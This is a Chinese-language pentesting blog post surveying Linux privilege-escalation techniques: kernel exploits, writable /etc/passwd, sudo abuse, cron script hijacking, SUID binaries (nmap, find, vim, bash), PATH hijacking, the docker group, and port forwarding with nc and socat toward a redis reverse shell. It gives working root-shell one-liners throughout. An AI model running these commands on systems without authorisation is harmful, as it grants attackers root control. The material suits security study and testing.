linux提权综述
Contents
前言
提权方式总结
利用内核漏洞提权
当我们渗透时获得一个低权限的shell时,内核漏洞应该是最先想到的提权方法。比如前几年很流行的”脏牛漏洞“,直接利用系统里面自带的软件或者内核存在的漏洞。
,要判断我们应该先对系统相关的信息进行收集。
利用前提:
- 已经拿到低权限shell
- 目标系统上有gcc
- 有上传文件的权限
使用命令:
1 | uname -a 或 uname -r |
这样,我们就得到了系统的内核版,cpu架构,和发行版等信息
然后我们就可以使用kali自带的searchsploit来搜索利用代码。
这里在推荐一个很好用的工具
Linux Exploit Suggester
linux exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行uname -r返回的操作系统发行版本,或者手工输入-k参数查找指定版本号。
下载地址:https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
举个例子:
1 | $ perl ./Linux_Exploit_Suggester.pl -k 3.0.0 |
提权步骤
- 找到具备利用条件的exp
- 上传源代码
- 编译exp后执行
脏牛漏洞
1 | 漏洞描述: |
明文 root 密码提权
情况极少。。。。
passwd 储存了用户,全用户可读,root 可写 shadow 存储密码的 hash,仅 root 可读写
passwd 文件:
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash
以非root用户打开,提示没有权限。
信息收集
查看两个文件:
1 | ls -l /etc/passwd /etc/shadow |
利用方法
- shadow中存储了用户的密码hash,但是如果passwd可写,将passwd中的x改为一个已知密码的hash,那么系统在验证密码时将以passwd的为准。
- shadow可读的情况下,可以使用john或其他来进行暴力破解hash。
sudo 滥用
sudo 是一个linux经常用到的命令,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。
查看可以执行哪些命令,即不需要知道 root 密码时,需验证自身普通权限的密码
sudo -l
可以支持所有命令,下面参考这个网址:
这里以 awk、man 举例
1、su
sudo su
输入普通权限用户密码,切换为 root
2、awk
sudo awk ‘BEGIN {system(“/bin/sh”)}’
3、man
sudo man man
计划任务
ls -l /etc/cron*
非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,并且默认这些程序以 root 权限执行
重写 python
若这些计划任务的脚本可写,则编辑为 shell
crontab 文件是计划任务的配置,此文件只有 root 可写,我们不需要去修改 crontab,只查看里面的有哪些任务,比如定时执行了哪些脚本,再查看对应脚本的权限,若可写,则修改它。
测试:
cat /etc/crontab
我没有设置定时任务,模拟一下,如果里面有个 1.python
ls -al /tmp/1.py //查看是否有w权限
cat -al /tmp/1.py //写入代码 import os os.system(‘cp /bin/sh /tmp/sh’) os.system(‘chmod u+s /tmp/sh’)
当到了计划执行时间,就会以 root 权限执行 1.py,即将 /bin/sh 复制到 /tmp/sh
原本是没有 /tmp/sh
当执行 sudo python 1.py
时,就会复制到 /tmp/sh
我们只需要进入 /tmp,执行 ./sh 可获取 root
这里的 cp 命令是基于 SUID,给 1.py 设置 SUID 权限。可以结合环境变量方式,把 /tmp/sh 添加到环境变量,无需进入 /tmp/sh 去执行 ./sh,执行 sh 变为 root。也可以在 1.py 写入反弹 shell 的 python 代码,此时反弹的 shell 具有 root 权限
防范:
crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。
SUID提权
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行,ls 查看时有 s 属性才支持 SUID。比如passwd命令,就是以root权限运行来修改shadow的。
suid提权:
利用拥有suid的文件执行命令,从而提升权限至root
利用方法:
常见可用来提权的linux可行性的文件列表如下:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
查找系统上运行的所有SUID可执行文件:
1 | 1. find / -user root -perm -4000 -print 2>/dev/null |
例NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
交互模式可以通过执行Nmap参数” interactive “
1 | nmap --interactive |
以下命令将提供一个提升的shell。
1 | nmap> !sh |
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
1 | exploit/unix/local/setuid_nmap |
例Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
1 | touch pentestlab |
1 | touch getflag |
例VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1 | vim.tiny /etc/shadow |
1 | vim.tiny |
例Bash
以下命令将以root权限打开一个bash shell.
1 | bash -p |
例Less
Less和More都执行以用来提权。
1 | less /etc/passwd |
环境变量劫持-SUID 扩展
通过劫持环境变量,达到执行任意命令的目的。上述只是执行 cat 命令,但我们最终目的是为了提权,而不是以 root 权限只执行单个 cat 命令。
linux 下执行命令,如 cat,是去环境变量查找 ,将 cat 替换
测试:
把新建一个 /tmp/cat,而 cat 内容为我们脚本,当用户执行 cat 命令,cat /etc/shadow,则执行我们的脚本
1 | cat >> /tmp/ls <<EOF |
此时再执行 ./suid-exp,可执行我们定义的脚本,因为 suid-exp 以管理员执行 cat 命令,而 linux 的 system 是根据环境变量来执行 cat 的,原本是默认的 cat,当修改了之后,cat 就不再是原来的 cat,而是我们自己定义的脚本,从而达到执行任意命令的目的,即可去提权。
docker 组提权
docker组用户提权,目的是利用docker组的用户来提权,因为docker组用户在容器下为root权限,通过挂载方式在容器下给本机添加sudo权限的用户,从而可以利用sudo命令。如果没有拥有sudo权限的用户,是无法执行sudo命令,在kali下会提示用户不在sudoers等提示。
可以参考这篇文章: 《Docker提权实战测试》 https://www.secquan.org/Discuss/1070515
服务漏洞
netstat -antup #查看各种网络服务
然后把敏感端口转发出来,用本地的工具进行攻击,可能拿到远程 root,即通过漏洞拿到 root 权限 windows 用 lcx 做端口转发,linux 用 nc、socat 做端口转发
1、redis 反弹 shell
nc 单向转发
nc -l 12345 | nc 192.168.191.170 80
双向转发
mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe
双向转发本人测试失败,希望大佬们提供解决的办法
socat
测试本地转发,service apache2 start,把 80 端口转发到其它端口,看是否能访问,这里测试成功
socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80
这里可以参考这篇文章,作者先执行 ps -fu root,发现开放 redis 端口,把 redis 端口转发出来,利用 redis 反弹远程的 root shell。一次简单 linux 提权:
参考文章
https://www.freebuf.com/articles/system/129549.html
Author: Shu1L
Link: https://shu1l.github.io/2020/04/29/linux-ti-quan-zong-shu/
License: 知识共享署名-非商业性使用 4.0 国际许可协议